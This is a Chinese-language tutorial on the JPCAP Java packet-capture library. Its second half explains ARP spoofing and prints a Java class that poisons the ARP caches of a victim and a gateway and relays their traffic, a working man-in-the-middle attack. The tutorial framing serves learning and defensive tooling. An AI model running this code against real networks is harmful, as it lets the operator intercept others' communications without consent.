Java 標準庫雖提供完善的 TCP/UDP 傳輸層 API,但對數據鏈路層(Layer 2)及以下的控制能力極其有限。JPCAP 透過 JNI 調用底層的 libpcap/WinPcap,為 Java 提供了跨平台的數據鏈路層封包捕獲與發送能力,支援 FreeBSD、Linux、Solaris、Windows 2000/XP 等主流作業系統。
每個實例代表一張實體網卡,包含關鍵屬性:
name:設備名稱(如 DeviceNPF_{...})description:廠牌型號描述mac_address:6 位元組 MAC 位址datalink_name:鏈路層類型(Ethernet 10M/100M/1000M)loopback:是否為回環介面核心靜態方法:
getDeviceList():獲取網卡列表openDevice(interface, snaplen, promisc, to_ms):開啟捕獲連線關鍵參數解析:
processPacket() 超時時間四種捕獲模式對比:
| 方法 | 阻塞行為 | 超時控制 | 適用場景 |
|---|---|---|---|
getPacket() | 阻塞直到捕獲一個封包 | 無 | 簡單單封包處理 |
loopPacket(count, handler) | 持續阻塞直到捕獲指定數量 | 不受 to_ms 影響 | 高效能批量捕獲 |
processPacket(count, handler) | 阻塞直到捕獲指定數量或超時 | 受 to_ms 控制 | 需超時保護的場景 |
dispatchPacket(count, handler) | 非阻塞模式可立即返回 | 受 to_ms 控制 | GUI/即時監控介面 |
兩種獲取方式決定發送行為:
captor.getJpcapSenderInstance():需手動構造數據鏈路層表頭JpcapSender.openRawSocket():系統自動填充鏈路層表頭Packet 為基類,支援協議:ARPPacket、EthernetPacket、IPPacket、TCPPacket、UDPPacket、ICMPPacket 等。
現代交換式網路環境下,單純混雜模式無法監聽他人流量。ARP 欺騙透過偽造 ARP Reply 封包:
| 位移 | 長度 | 欄位 | 說明 |
|---|---|---|---|
| 0 | 6 | 目標 MAC | 以太網表頭 |
| 6 | 6 | 源 MAC | 以太網表頭 |
| 12 | 2 | 類型 | 0x0806 = ARP |
| 14 | 2 | 硬體類型 | 0x0001 = Ethernet |
| 16 | 2 | 協議類型 | 0x0800 = IPv4 |
| 18 | 1 | MAC 長度 | 固定 6 |
| 19 | 1 | IP 長度 | 固定 4 |
| 20 | 2 | 操作碼 | 0x0001 Request / 0x0002 Reply |
| 22 | 6 | 發送端 MAC | ARP 承載 |
| 28 | 4 | 發送端 IP | ARP 承載 |
| 32 | 6 | 目標 MAC | ARP 承載 |
| 38 | 4 | 目標 IP | ARP 承載 |
public class ArpSpoofMonitor {
private JpcapCaptor captor;
private JpcapSender sender;
private NetworkInterface device;
private byte[] targetMac, gatewayMac;
private InetAddress targetIp, gatewayIp;
public void startMonitoring() throws IOException {
// 1. 初始化設備(排除虛擬網卡)
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
device = selectPhysicalDevice(devices); // 需過濾 Generic dialup adapter
captor = JpcapCaptor.openDevice(device, 2000, false, 10000);
captor.setFilter("ip", true); // 僅捕獲 IP 封包
sender = captor.getJpcapSenderInstance();
// 2. 構造欺騙目標的 ARP Reply
ARPPacket arpToTarget = buildArpReply(
device.mac_address, gatewayIp.getAddress(), // 偽裝成網關
targetMac, targetIp.getAddress()
);
EthernetPacket ethToTarget = new EthernetPacket();
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToTarget.src_mac = device.mac_address;
ethToTarget.dst_mac = targetMac;
arpToTarget.datalink = ethToTarget;
// 3. 構造欺騙網關的 ARP Reply
ARPPacket arpToGateway = buildArpReply(
device.mac_address, targetIp.getAddress(), // 偽裝成目標
gatewayMac, gatewayIp.getAddress()
);
EthernetPacket ethToGateway = new EthernetPacket();
ethToGateway.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGateway.src_mac = device.mac_address;
ethToGateway.dst_mac = gatewayMac;
arpToGateway.datalink = ethToGateway;
// 4. 定時發送欺騙封包 + 轉發真實流量
new Thread(() -> {
while (true) {
sender.sendPacket(arpToTarget);
sender.sendPacket(arpToGateway);
Thread.sleep(500);
}
}).start();
// 5. 捕獲並轉發雙向流量
while (true) {
Packet packet = captor.getPacket();
if (packet instanceof IPPacket) {
IPPacket ip = (IPPacket) packet;
if (ip.src_ip.equals(targetIp)) {
forwardPacket(packet, gatewayMac); // 目標→網關
} else if (ip.src_ip.equals(gatewayIp)) {
forwardPacket(packet, targetMac); // 網關→目標
}
}
}
}
private void forwardPacket(Packet packet, byte[] destMac) {
if (packet.datalink instanceof EthernetPacket) {
EthernetPacket eth = (EthernetPacket) packet.datalink;
System.arraycopy(destMac, 0, eth.dst_mac, 0, 6);
System.arraycopy(device.mac_address, 0, eth.src_mac, 0, 6);
sender.sendPacket(packet);
}
}
}
getDeviceList() 會包含「Generic dialup adapter」,若先建立 Swing 元件(如 new JFrame())會改變列表順序導致 MAC 獲取失敗JPCAP 為 Java 開發者打開了底層網路編程的大門,掌握其核心 API 與封包操作技巧,是實現網路分析工具、IDS/IPS 系統、流量審計平台的關鍵基礎。